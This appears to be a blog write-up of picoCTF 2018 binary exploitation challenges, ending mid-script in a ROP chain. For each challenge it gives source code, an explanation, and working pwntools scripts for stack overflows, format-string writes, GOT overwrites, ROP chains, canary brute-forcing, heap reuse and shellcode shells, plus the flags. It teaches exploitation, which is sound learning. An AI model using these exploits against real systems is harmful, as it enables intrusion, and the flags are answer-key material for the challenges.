PicoCTF 2018 Writeup: Binary Exploitation

Oct 13, 2018 08:56 · 5868 words · 28 minute read ctf cyber-security write-up picoctf pwn

buffer overflow 0

Problem

Let’s start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.

Solution

Let’s first take a look at the source code provided:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  if (argc > 1) {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
    printf("This program takes 1 argument.\n");
  return 0;
}

The vuln function immediately captured my attention. Because strcpy doesn’t check the length of the buffers, it can easily cause a buffer overflow. Let’s strcpy more that 16 bytes into the buf buffer to trigger the buffer overflow. That will cause a SIGSEGV signal that calls sigsegv_handler, and the handler function with print out the flag for us:

$ ./vuln `python -c "print 'a'*(100)"`
picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}

flag: picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}

buffer overflow 1

Problem

Okay now you’re cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba on the shell server. Source.

Solution

Same as the last one, let’s start by reading the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

As you can see, we want to call the win function, and there’s a clear buffer overflow with the classic gets call. The gets call is dangerous because it copies any number of bytes you input which will overwrite memory that you otherwise shouldn’t be able to write to.

In this case, we want to overwrite the return address of the function which is located 12 bytes below the buffer. Here are the commands that overwrites the original return address with the address of the win function:

$ r2 ./vuln
[0x080484d0]> aaaa
[0x080484d0]> afl
...
0x080485cb    3 100          sym.win
...
[0x080484d0]> q
$ python -c "from pwn import *; print 'a'*(32+12)+p32(0x080485cb)" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy56a7b196}Segmentation fault

flag: picoCTF{addr3ss3s_ar3_3asy56a7b196}

leak-me

Problem

Can you authenticate to this service and get the flag? Connect with nc 2018shell2.picoctf.com 57659. Source.

Solution

Let’s take a look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];
  
  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));
  
  printf("What is your name?\n");
  
  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");  // overflow

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';  // overflow
  
  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

So in order to get the flag, we need to leak the content of the password file. The only output field that we can control is the line puts(name);. That mean we need to somehow put the password into the name buffer. This turns out to be quite easy because the password_input buffer comes right after the name buffer:

char name[256];
char password_input[64];

What this means is that if we can remove the null byte between the two buffers, we can make puts think that it is just one long string and print out the password for us. There happens to be a line in the program that does just that for us: strcat(name, ",\nPlease Enter the Password.");. This line with remove the null byte for us making puts print out the password together with the name.

Here is how this happens:

  • user input 256 bytes into the name buffer
  • the last byte is replace with a null byte marking the end of the string
  • the strcat function adds an addition string to the buffer pushing the null byte to somewhere in the password_input buffer region.
  • the password is read from the file and written the password_input buffer overwriting the null byte

In simpler terms, we just have to write exactly 256 bytes of input. If that happens, the program with go horribly wrong and give us the password. Here is the script to do just that:

from pwn import *

# sh = process('./auth')
sh = remote('2018shell2.picoctf.com', 57659)

payload = 'a'*256

sh.sendlineafter('?\n', payload)

print sh.recvuntil('\n').split(',')[1] # a_reAllY_s3cuRe_p4s$word_56b977

sh.interactive()

With the password in hand, we can now get the flag from the program.

flag: picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_2b5cbbaa}

shellcode

Problem

This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_4_99838609970da2f5f6cf39d6d9ed57cd on the shell server. Source.

Solution

The source code for this challenge is quite short:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}

As you can see, the program reads in some bytes from the user and then calls the buffer as a function. This basically means that we can run whatever assembly code we want with this program.

Instead hand-crafting our assembly payload, we can use the ones included in pwntools. Here is the script to open a shell on the game server:

from pwn import *

sh = process('./vuln')

sh.sendlineafter('!\n', asm(shellcraft.i386.linux.sh()))
sh.interactive()

Now, let’s run the script on the game server:

alanc@pico-2018-shell-2:~$ python main.py
[+] Starting local process '/problems/shellcode_4_99838609970da2f5f6cf39d6d9ed57cd/vuln': pid 1149599
[*] Switching to interactive mode
jhh///sh/bin\x89�h\x814$ri1�Qj\x04Y�Q��1�j\x0bX̀
Thanks! Executing now...
$ cat /problems/shellcode_4_99838609970da2f5f6cf39d6d9ed57cd/flag.txt
picoCTF{shellc0de_w00h00_b766002c}$

flag: picoCTF{shellc0de_w00h00_b766002c}

buffer overflow 2

Problem

Alright, this time you’ll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 on the shell server. Source.

Solution

Let’s look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Similar to buffer overflow 1, we can control the instruction pointer by overwriting the return address on the stack; however, this time we need to pass two arguments with calling the win function. This becomes easy once you understand how the stack is laid out:

  • local variables
  • base point and etc
  • return address 1
  • return address 2
  • arguments for return function 1

So in this case, we our payload will be:

  • ‘a’ * 100 <– filling the buffer
  • ‘a’ * 12 <– overwrite some stuff that we don’t care about
  • p32(0x080485cb) <– address for the win function (read my solution for buffer overflow 1 to see how I got this address)
  • ‘a’ * 4 <– pad out the second return address
  • p32(0xDEADBEEF) <– argument one
  • p32(0xDEADC0DE) <– argument two

Put all of this together, and we get the flag:

alanc@pico-2018-shell-2:/problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257$ python -c "from pwn import *; print 'a'*(100+12)+p32(0x080485cb)+'P'*4+p32(0xDEADBEEF)+p32(0xDEADC0DE)" | ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaPPPPᆳ�����
picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault

flag: picoCTF{addr3ss3s_ar3_3asy30723282}

got-2-learn-libc

Problem

This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1 on the shell server. Source.

Solution

Take a look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");
  
  vuln();

  
  return 0;
}

Basically, we are given a list of important addresses that are random each time (because of aslr). Our goal would be to open up a shell on the server. The convenient part is that the string "/bin/sh" is already in memory ready to be used.

Our plan is to first find the address of the system libc function and then call the function with the argument "/bin/sh" (read my writeup on buffer overflow 2 if you don’t know how to pass arguments to a function by manipulating the stack).

Although the address of system is different each time, the difference between the address of another libc function (puts in this case) and the address of system is always the same. We can use gdb to find both addresses and calculate the offset:

alanc@pico-2018-shell-2:/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1$ gdb ./vuln
...
(gdb) break main
Breakpoint 1 at 0x812
(gdb) run
Starting program: /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln

Breakpoint 1, 0x565f2812 in main ()
(gdb) print &system
$1 = (<text variable, no debug info> *) 0xf75be940 <system>
(gdb) print &puts
$2 = (<text variable, no debug info> *) 0xf75e3140 <puts>
(gdb)

Now with both addresses, we can see that the offset is 0xf75be940 - 0xf75e3140 or -149504. With the offset in hand, we can call the system function using a buffer overflow provided by the gets call and retrieve the flag:

from pwn import *

sh = process('./vuln')

system_offset = -149504

print sh.recvuntil(':\n').split('\n')

info = sh.recvuntil(':\n').split('\n')

puts_plt = int(info[1].split(': ')[1][2:], 16)

sh_str = int(info[5].split(': ')[1][2:], 16)

system_plt = puts_plt + system_offset

payload = 'a'*(148+12)

payload += p32(system_plt)
payload += 'a'*4
payload += p32(sh_str)

sh.sendline(payload)

sh.interactive()

flag: picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa}

echooo

Problem

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell2.picoctf.com 46960. Source.

Solution

First, let’s look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  
  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}

As you can see, instead of using gets, the program now uses fgets which prevents us from overflowing the buffer; however, the program does pass the user input directly into printf which makes the program vulnerable to format string attacks.

In simple terms, when you can control the first argument passed to a printf function, you can craft format strings using %x, %s, and %n to both write to memory and leak memory. For this program, we need to leak memory. The programmer is nice enough to leave a point to the flag buffer on the stack called flag_ptr which means we don’t even have to put our own string onto the stack. Great!

Here is a simple script that just tries to print out all the values on the heap using %s, and sure enough, the flag got print out:

from pwn import *

for i in range(100):
  try:
    sh = remote('2018shell2.picoctf.com', 46960)
    sh.sendlineafter('> ', '%{}$s'.format(i))
    print sh.recvuntil('> ')
    sh.close()
  except EOFError:
    pass

flag: picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}

authenticate

Problem

Can you authenticate to this service and get the flag? Connect with nc 2018shell2.picoctf.com 52918. Source.

Solution

Let’s look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

int authenticated = 0;

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}

void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    flag();
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  printf("Would you like to read the flag? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);
  
  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }
  
  read_flag();

}

As you can see, printf(buf); is vulnerable to a format string attack similar to the problem authenticate.

Our plan is to write to variable authenticated and change it to something other than 0. This time there’s no existing pointer on the stack that points to the variable, so we need to place our own. Since the user input is always copied onto the stack, we can place the pointer to authenticated inside our input in order for it to be on the stack.

Now with the pointer on the stack, we can do %n which writes the number of bytes printed to the location specified by the pointer on the stack. To make sure that %n uses our pointer, we can use a for loop and some %xs to print everything out first (the commented out part in my script). After that, we can just write to the variable authenticated and get the flag. Here is the python script that does exactly that:

from pwn import *

# sh = process('./auth')
sh = remote('2018shell2.picoctf.com', 52918)
target = 0x0804a04c

payload = ''
payload += p32(target)
payload += '%11$n'
# for i in range(5, 20):
#   payload += '%{}$x '.format(i)

sh.sendlineafter(')\n', payload)

sh.interactive()

flag: picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_d29a706d}

got-shell?

Problem

Can you authenticate to this service and get the flag? Connect to it with nc 2018shell2.picoctf.com 46464. Source

Solution

Let’s look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

void win() {
  system("/bin/sh");
}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[256];
  
  unsigned int address;
  unsigned int value;

  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");

  scanf("%x", &address);

  sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
  puts(buf);
  
  scanf("%x", &value);

  sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
  puts(buf);

  *(unsigned int *)address = value;

  puts("Okay, exiting now...\n");
  exit(1);
  
}

For this problem, we got one 4 byte write and we need to call the win function. As you can see, puts and exit are the only two functions called after the write, so we need to change the behavior of one of the two functions. Because aslr is enabled, we need to look for things that stay constant. One of these things is the Global Offset Table. The Global Offset Table is the thing that allows a c program to call libc libraries and serve as a jumping point for the program. If we modify this jumping point, we can make the program execute code at a different address than intended.

Our first step with be to extract the GOT address of the puts function and the address of the win function. This could be easily done with radare2:

$ r2 ./auth
[0x08048450]> aaaa
...
[0x08048450]> afl
...
0x080483d0    1 6            sym.imp.puts
...
0x0804854b    1 25           sym.win
...
[0x08048450]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
|   sym.imp.puts (const char *s);
|           ; CALL XREFS from sym.main (0x80485aa, 0x80485f1, 0x804863c, 0x804865c)
\           0x080483d0      ff250ca00408   jmp dword [reloc.puts]      ; 0x804a00c

As you can see, the address for the win function is 0x0804854b and the GOT address of the puts function is 0x804a00c. Now with the two values, we can quickly write a script to retrieve the flag:

from pwn import *

putsGOT = '0804a00c'
winAddr = '0804854b'

sh = remote('2018shell2.picoctf.com', 46464)

sh.sendlineafter('?\n', putsGOT)
sh.sendlineafter('\n', winAddr)

sh.interactive()

flag: picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_7a9e7634}

rop chain

Problem

Can you exploit the following program and get the flag? You can find the program in /problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47 on the shell server? Source.

Solution

This problem is about return oriented programming. For more practice, I recommend this website.

First, let’s take a look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else if (win1) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else if (win1 && win2) {
    printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
  }
  else if (win1 || win2) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

As you can see, instead of just calling one function, we now have to call win_function1, win_function2, and flag in order using the buffer overflow from the gets call. Although the hint suggests that we can call the main function more than once, I am able to get the flag in one go:

alanc@pico-2018-shell-2:/problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47$ python -c "from pwn import *; print 'a'*(16+12)+p32(0x080485cb)+p32(0x080485d8)+p32(0x0804862b)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)" | ./rop
Enter your input> picoCTF{rOp_aInT_5o_h4Rd_R1gHt_9853cfde}
Segmentation fault

Here is the layout for the exploit:

  • ‘a’*(16+12) <– padding for our exploit
  • p32(0x080485cb) <– win_function1 address
  • p32(0x080485d8) <– win_function2 address
  • p32(0x0804862b) <– flag address
  • p32(0xBAAAAAAD) <– argrument for the win_function2 function
  • p32(0xDEADBAAD) <– argrument for the flag functionparam

If the explanation is not clear, take a look at my solution for buffer overflow 2.

flag: picoCTF{rOp_aInT_5o_h4Rd_R1gHt_9853cfde}

buffer overflow 3

Problem

It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e. Source.

Solution

Let’s take a look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  int i;
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

As you can see, we have a clear buffer overflow with the read call; however, the canary buffer is placed between our input buffer and the return address and it is checked first before the function returns. This means that we have to overwrite the return address of the function without changing the content of the canary buffer. It is possible to brute force the canary as it is only 4 bytes long; however, a more efficient way to do it is to guess the canary one byte at a time which reduces the number of tries even more. After guessing the canary, we can then proceed to change the return address and get the flag.

Here is the python script that does the exact same thing as I just described:

from pwn import *

# context.log_level = 'debug'

winAddr = 0x080486eb

canary = ''
for i in range(1, 5):
  for e in range(256):
    sh = process('./vuln')
    sh.sendlineafter('> ', str(32+i))
    sh.sendafter('> ', 'a'*32+canary+chr(e))
    output = sh.recvall()
    if 'Stack' not in output:
      print output
      canary += chr(e)
      break
print canary

# canary = 'abcd'

sh = process('./vuln')
sh.sendlineafter('> ', str(200))
sh.sendlineafter('> ', 'a'*32+canary+'a'*16+p32(winAddr))
sh.interactive()

flag: picoCTF{eT_tU_bRuT3_F0Rc3_9bb35cfd}

echo back

Problem

This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell2.picoctf.com 37857.

Solution

My solution is certainly not the best way to solve this problem, so if you have a better method to solve this, please leave a comment below and let me know.

This time no source code is provided to us, so we need to fire up radare2 to do some reverse engineering:

[0x08048643]> s sym.vuln
[0x080485ab]> pdd
/* r2dec pseudo C output */
#include <stdint.h>

int32_t vuln (void) {
    char * format;
    int32_t canary;
    int32_t local_4h;
    eax = *(gs:0x14);
    canary = eax;
    eax = 0;
    edx = &format;
    eax = 0;
    ecx = 0x20;
    edi = edx;
    do {
        *(es:edi) = eax;
        ecx--;
        es:edi += 4;
    } while (ecx != 0);
    system ("echo input your message:", edi);
    eax = &format;
    read (0, eax, 0x7f);
    eax = &format;
    printf (eax);
    puts (0x8048739);
    puts ("Thanks for sending the message!");
    eax = canary;
    eax ^= *(gs:0x14);
    if (? != ?) {
        _stack_chk_fail ();
    }
    edi = local_4h;
    return eax;
}

As you can see, the program reads in 0x7f bytes from the user and prints them using printf. Also, the program uses system from libc which saves us the trouble of leaking the libc base address.

So there are is going to be two stages. Step one, we need to overwrite the puts GOT entry in order for the program to loop allowing us to abuse the format string vulnerability more than once. Also, as an additional note, we can only write four bytes with no integer overflow because the system GOT entry is right after and we need that. Step two, we need to replace the printf GOT entry with the PLT address of system which will give us a shell. If both steps are executed correctly, we can then retrieve the flag.

Here is a challenge that is specific to this problem. Although we can write a lot of characters with %NUMBERx, it takes a long time for the characters to be printed. We can usually avoid this by doing two short writes (two byte at a time); however, in this case, this will cause a two bytes overflow which will break the system GOT entry which is not good. In the end, I did a single four byte write that took forever, but I would love to know if there’s a way around this.

Here is my exploit script:

from pwn import *

# sh = process('./echoback')
sh = remote('2018shell2.picoctf.com', 37857)

system_PLT = 0x08048460
puts_GOT = 0x804a01c
printf_GOT = 0x804a010

vuln_addr = 0x080485e7

count1 = vuln_addr
count2 = 0
count3 = (0x10000-((count1+count2)%0x10000)) + (system_PLT & 0x0000ffff)
count4 = (0x10000-((count1+count2+count3)%0x10000)) + int(hex(system_PLT+0x100000000)[3:7],16)

print count1
print count2
print count3
print count4

payload = ''

payload += p32(puts_GOT)
payload += 'a'*4
payload += p32(printf_GOT)
payload += p32(printf_GOT+2)
payload += '%{}x'.format(count1-16)
payload += '%7$n'
payload += '%{}x'.format(count3)
payload += '%9$n'
payload += '%{}x'.format(count4)
payload += '%10$n'

pause()
sh.sendlineafter(':\n', payload)

sh.interactive()

flag: picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_73881db0}

are you root?

Problem

Can you get root access through this service and get the flag? Connect with nc 2018shell2.picoctf.com 26847. Source.

Solution

This is one of the most challenging problems for me in this CTF simply because I don’t know the heap that well.

However, once I understood the basics, the problem turns out to be not that hard. First, here is a list of resources that I used to learn about the heap and solve this challenge:

The key concept here is that malloc reuses freed up space without zeroing them. So if we create a chunk for our username, free the chunk, and create a user object, the user object will have the same space in memory as the username buffer that we just freed. Using this knowledge, we can first craft a user object using the username buffer and then place a user object at the same place which then gives us the flag. Here is the script:

from pwn import *

# same 0x20 size chunk as the user struct
# use `heap chunks` in gef

sh = remote('2018shell2.picoctf.com', 26847)

sh.sendlineafter('> ', 'login {}'.format('\x05'*9))
sh.sendlineafter('> ', 'reset')

sh.sendlineafter('> ', 'login a')
sh.sendlineafter('> ', 'show')
print sh.sendlineafter('> ', 'get-flag')

print sh.interactive()

flag: picoCTF{m3sS1nG_w1tH_tH3_h43p_4baeffe9}

gps

Problem

You got really lost in the wilderness, with nothing but your trusty gps. Can you find your way back to a shell and get the flag? Connect with nc 2018shell2.picoctf.com 29035. (Source).

Solution

This problem is just a harder version of shellcode. The difference is that we need to find the starting address of the shellcode that we wrote into memory. This can be tricky if you are aiming for one single address; however, with the help of a nop slide which is basically a dump of nop instructions, we can make our shellcode a lot more random-resistant as we will only need to land on one of the nop instructions.

Here is my script ('\x90' is the assembly code for nop):

from pwn import *

context.log_level = 'debug'
context.binary = './gps'
# sh = process('./gps')
sh = remote('2018shell2.picoctf.com', 29035)
pause()
print sh.recvuntil('> ')
payload = asm(shellcraft.amd64.linux.sh())
payload = '\x90'*(0x1000-1-len(payload)) + payload
sh.sendline(payload)
sh.interactive()

flag: picoCTF{s4v3_y0urs3lf_w1th_a_sl3d_0f_n0ps_gvzbnemc}

can-you-gets-me

Problem

Can you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_4_f269dbca3097204b5d4a0064467b0a8c on the shell server. Source.

Solution

Let’s take a look at the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("GIVE ME YOUR NAME!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

This is a classic ROP challenge (read my solution for rop chain if you are not familiar with Return-oriented programming). The intension is for the players to hand-craft a rop chain that uses syscall to get a shell starting from scratch. However, why do it by hand when you can automate it?

Using the tool called ROPgadget, we can generate a whole script that will give us a shell. How nice!

All you have to do is:

$ ROPgadget --binary ./gets --ropchain

And the program does the rest.

Here is the exploit script in the end:

#!/usr/bin/env python2

from pwn import *
from struct import pack

context.log_level = 'debug'


sh = process('./gets')

# Padding goes here
p = 'a'*28

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
